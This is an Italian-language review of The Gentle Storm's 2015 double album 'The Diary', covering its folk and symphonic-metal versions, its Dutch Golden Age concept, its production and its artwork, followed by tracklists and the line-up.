THE GENTLE STORM – The Diary

THE GENTLE STORM – The Diary

THE GENTLE STORM – The Diary

TITOLO: The Diary
BAND: The Gentle Storm
ANNO: 2015
LABEL: Inside Out Music
GENERE: Folk (Disco 1 “Gentle Version”), Symphonic Metal (Disco 2 ” Storm Version”)
COUNTRY: Olanda

Il progetto musicale The Gentle Storm nasce nel 2014 per volontà di due guru del metal dei paesi bassi: parliamo di gente del calibro di Arjen Anthony Lucassen – noto soprattutto per il suo progetto prog oriented qual è il nome Ayreon, oltre ad altri progetti musicali di un certo livello – e la sua compare Anneke Van Giersberge – ex cantante dei The Gathering, negli ultimi anni ha dato il via ad una discreta carriera solista – ed è bastato solo questo a mettere una certa curiosità nei confronti del disco d’esordio.
I mesi passano ed intanto venivano svelati nuovi dettagli sull’opera prima di questo duo estroso: quindi ecco che viene svelato il fatto che è un doppio disco nei quali sono contenute le stesse canzoni, ma con arrangiamenti diversi (uno è folk completamente acustico, l’altro invece è di matrice metal sinfonica), la cover ed il concept che sta alla base dei vari testi scritti.
Come avete letto nell’introduzione abbiamo un doppio album, che di fronte al fatto che sono accomunati dalle stesse canzoni, queste ultime presentano due generi completamente differenti: nel primo disco abbiamo canzoni dal sapore folk, completamente acustiche, in cui siamo alle prese con un sound tenue e delicato, dolce ed intimista, nel quale la voce di Anneke è gentile e si mantiene su tonalità morbide e a volte soffuse; in questa veste ci da in pasto una perfomance maiuscola sul fronte dell’interpretazione, che in questi lidi viene sicuramente elevata riuscendo ad emozionare l’ascoltatore durante questo affascinante viaggio musicale.
Il primo disco non a caso è denominato “The Gentle Version” che tradotto letteralmente significa la versione dolce: idealmente si può definire questo disco come la versione femminile di questo doppio lavoro, in cui appunto la dolcezza (dei suoni) è la protagonista e rappresenta la donna co-protagonista del concept.
L’uso di strumenti etnici e di diversi strumenti a fiato danno un sapore fascinoso al lotto qui presente e la scelta di fare un disco acustico rafforza di colpo le melodie e le atmosfere che escono da strumenti a corda o a fiati di terre lontane ed esotiche (Bouzouki, Surbahar, il sitar indiano, Tabla, Shakuhachi, il bansuri sono solo una minima parte degli strumenti qui utilizzati).
Il secondo disco invece è denominato “The Storm Version“. La versione tempestosa è più irrequieto ed istintivo ed in ciò rappresenta la parte maschile della coppia qui protagonista e pertanto abbiamo un netto cambio delle sonorità prese in esame. Qui siamo di fronte ad un sound molto più pomposo e stratificato, che vista la ricchezza di elementi abbandona l’atmosfera per certi versi intimista per darci una Anneke decisamente sfrontata. Le melodie che prima erano imbastite da sonorità folkloristiche ed in chiave acustica qui vengono re-incise da una forte componente metal che non disdegna un forte accento sinfonico, riff poderosi e in certi casi rocciosi, a cori molto pomposi e a qualche escursione ad opera delle tastiere che a tratti danno un retrogusto progressive quando intervengono: abbiamo un’interessante ri-arrangiamento delle melodie del primo disco ma in chiave meno esotica e più europea per certi aspetti (seppur non manchino le incursioni orientaleggianti).
Il concept che sta alla base è molto singolare, viene da un periodo storico molto affascinante e merita un trattamento particolare: le vicende narrate sono ambientate nel diciassettesimo secolo, quello che dagli storici è definito il secolo d’oro dei paesi bassi; infatti nel 1600 questa piccola nazione (resasi veramente indipendente dal dominio spagnolo poco prima della prima metà del 1600 con una sanguinosa guerra che durò ben 80 anni), nonostante la sanguinosa guerra d’indipendenza che stava portando avanti contro l’immenso impero spagnolo (che stava prendendo una parabola discendente) le sette province unite riuscirono fin da subito ad avere una flotta molto potente che non solo sconfisse in maniera umiliante quella spagnola (arrivando anche a dar filo da torcere a quella portoghese e riuscì a mettere in forse per qualche decade il dominio portoghese del Brasile) ma riusciva a competere con la più prestante flotta inglese; questo portò alla nascita di diverse colonie commerciali in America centrale, Sud dell’Africa e nell’estremo oriente: la Compagnia olandese delle Indie orientali (Asia) e quella delle Indie occidentali (America) diede grande splendore economico e commerciale a questa piccola agguerrita nazione, rendendo Amsterdam una capitale ricca e prosperosa oltre ad essere uno dei più importanti centri economici, commerciali e pure culturali del vecchio continente. Ed in questo scenario che le vicende del marinaio Joseph Warwijck e di sua moglie Susanne Vermeer prendono vita: due anime che per lassi di tempo interminabili sono separati dall’immensità dei mari e degli oceani, quindi per i due amanti le lettere sono l’unica forma che hanno per potersi sentire, lettere poi raccolte nel diario che da il titolo al lavoro preso in esame.
L’abilità dei Gentle Storm sta nel fatto che con le varie canzoni riescono a trasportare l’ascoltatore nei viaggi fatti dal Marinaio Joseph e nel contempo a mettere su musica le emozioni e le disavventure dei due sposi.
Arriviamo ora alla qualità di registrazione. Vista la mole di strumenti (che sono davvero tanti) e dei vari collaboratori impiegati per suonarli Arjen si è concentrato molto su questo aspetto ed i risultati si sentono: la registrazione è pulitissima, rende i suoni nitidi e distinguibili tra di loro, non abbiamo un pastone di suoni poco armonizzati e sporchi ma tutt’altro e la cosa è decisamente importante viste le scelte musicali e stilistiche messe su disco dalla band, che in ultima analisi possiamo definire riuscita e convincente pure grazie ad una registrazione di qualità che non risulta fredda e plasticosa, ma bensì abbiamo una registrazione calda ed avvolgente che valorizza al meglio il ricco banchetto di strumenti e suoni imbastito dai due artisti.
La cover, di rara bellezza mette in mostra il concept: tra una mappa che mostra il sub continente indiano, una nave che fluttua tra le onde di un oceano sconfinato, una bussola nautica, una lettera ed in centro una graziosa figura femminile intenta a scrivere una lettera poche volte ci si è trovati di fronte ad artwork così eleganti e curati.
Tra la orientaleggiante Shores of India, la festaiola Heart of Amsterdam, la misteriosa New Horizons o la movimentata The Storm, giusto per citare qualche episodio si va avanti fino alla fine di questo lavoro che dà emozioni e momenti diversi riuscendo a mantenersi quasi sempre di grande interesse, portando negli scaffali dei negozi di dischi un lavoro caldamente consigliato a chi apprezza sia il folk in chiave acustica che il metal sinfonico, che vista la ricchezza di elementi e la qualità della proposta avranno sicuramente da gioire.

Voto:85/100

Tracklist Disco Uno:
01. Endless Sea (Gentle Version)
02. Heart of Amsterdam (Gentle Version)
03. The Greatest Love (Gentle Version)
04. Shores Of India (Gentle Version)
05. Cape Of Storms (Gentle Version)
06. The Moment (Gentle Version)
07. The Storm (Gentle Version)
08. Eyes Of Michiel (Gentle Version)
09. Brightest Light (Gentle Version)
10. New Horizons (Gentle Version)
11. Epilogue: The Final Entry (Gentle Version)

Tracklist Disco Due:
01. Endless Sea (Storm Version)
02. Heart of Amsterdam (Storm Version)
03. The Greatest Love (Storm Version)
04. Shores Of India (Storm Version)
05. Cape Of Storms (Storm Version)
06. The Moment (Storm Version)
07. The Storm (Storm Version)
08. Eyes Of Michiel (Storm Version)
09. Brightest Light (Storm Version)
10. New Horizons (Storm Version)
11. Epilogue: The Final Entry (Storm Version)

Line Up:
Anneke van Giersbergen – Voce
Arjen Anthony Lucassen – Chitarre, tastiere e percussioni

Ospiti:
Ed Warby – Batteria
Rob Snijders – Percussioni
Johan van Stratum – Basso
Joost van den Broek – Piano
Timo Somers – Chitarra solista nella traccia 2
Ben Mathot – Violino
Hinse Mutter – Contrabbasso
Maaike Peterse – Violoncello
Jenneke de Jonge – Corno francese
Jeroen Goossens – Fiati
Jack Pisters – Sitar
Michael Mills – Bouzouki irlandese
Remco Helbers – Surbahar
Nathanael van Zuilen – Tabla
Epic Rock Choir – Coro

https://www.facebook.com/TheGentleStorm/?fref=ts

 

 

 

 

 

 

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Sebastiano Dall'Armellina

sebastiano